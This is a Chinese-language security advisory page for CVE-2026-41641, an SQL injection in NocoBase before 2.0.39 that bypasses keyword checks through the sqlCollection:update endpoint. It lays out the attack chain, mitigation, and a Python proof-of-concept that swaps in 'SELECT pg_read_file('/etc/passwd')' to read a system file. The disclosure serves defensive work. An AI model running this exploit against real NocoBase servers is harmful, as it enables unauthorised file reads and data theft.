IPBUF安全漏洞报告
English
CVE-2026-41641 CVSS 7.2 高危

CVE-2026-41641 NocoBase SQL注入漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41641
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
NocoBase

相关标签

SQL注入NocoBase高危权限绕过0day

漏洞概述

NocoBase是一个无代码/低代码平台。在2.0.39版本之前,其sqlCollection:update接口缺失对危险SQL关键字的校验。拥有集合管理权限的攻击者可先创建合法SQL集合,再利用该更新接口注入恶意SQL语句,最终通过查询接口执行任意SQL代码,导致数据泄露或服务器被控。该问题已在2.0.39版本中修复。

技术细节

该漏洞的核心在于NocoBase对SQL集合更新的安全验证不一致。虽然系统在collections:create和sqlCollection:execute端点部署了checkSQL()函数以拦截pg_read_file、LOAD_FILE等危险关键字,但这一机制在sqlCollection:update端点被遗漏。攻击者首先利用create接口传入无害SQL(如SELECT 1)通过验证;随后调用update接口,将集合的SQL语句替换为任意恶意构造的SQL代码(如读取敏感文件或执行系统命令);最后通过查询该集合触发SQL执行。由于绕过了关键字过滤,攻击者可直接操作数据库。

攻击链分析

STEP 1
权限获取
攻击者需获取NocoBase平台的集合管理权限。
STEP 2
创建集合
利用collections:create接口创建一个包含无害SQL语句(如SELECT 1)的SQL集合。
STEP 3
注入SQL
利用sqlCollection:update接口,将之前创建的集合的SQL内容修改为恶意SQL(如读取文件),该步骤会绕过checkSQL验证。
STEP 4
执行攻击
对集合发起查询请求,触发后端执行注入的恶意SQL语句,从而窃取数据或进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://target-nocobase-instance.com" API_KEY = "YOUR_VALID_API_TOKEN" # Requires collection management permissions headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Create a benign SQL collection to bypass initial checks create_data = { "key": "malicious_collection", "title": "Benign Data", "sql": "SELECT 1 as id" # Safe SQL } r1 = requests.post(f"{TARGET_URL}/api/collections:create", json=create_data, headers=headers) print(f"Create Status: {r1.status_code}") # Step 2: Update the collection using the vulnerable endpoint (sqlCollection:update) # This endpoint lacks the checkSQL() validation update_data = { "key": "malicious_collection", "sql": "SELECT pg_read_file('/etc/passwd')" # Malicious SQL injection } r2 = requests.post(f"{TARGET_URL}/api/sqlCollection:update", json=update_data, headers=headers) print(f"Update Status: {r2.status_code}") # Step 3: Query the collection to execute the injected SQL r3 = requests.get(f"{TARGET_URL}/api/malicious_collection:query", headers=headers) print(f"Query Result: {r3.text}")

影响范围

NocoBase < 2.0.39

防御指南

临时缓解措施
建议立即升级到安全版本。如无法立即升级,应严格限制用户对sqlCollection:update接口的访问权限,并加强日志审计,监控是否存在异常的SQL集合更新操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表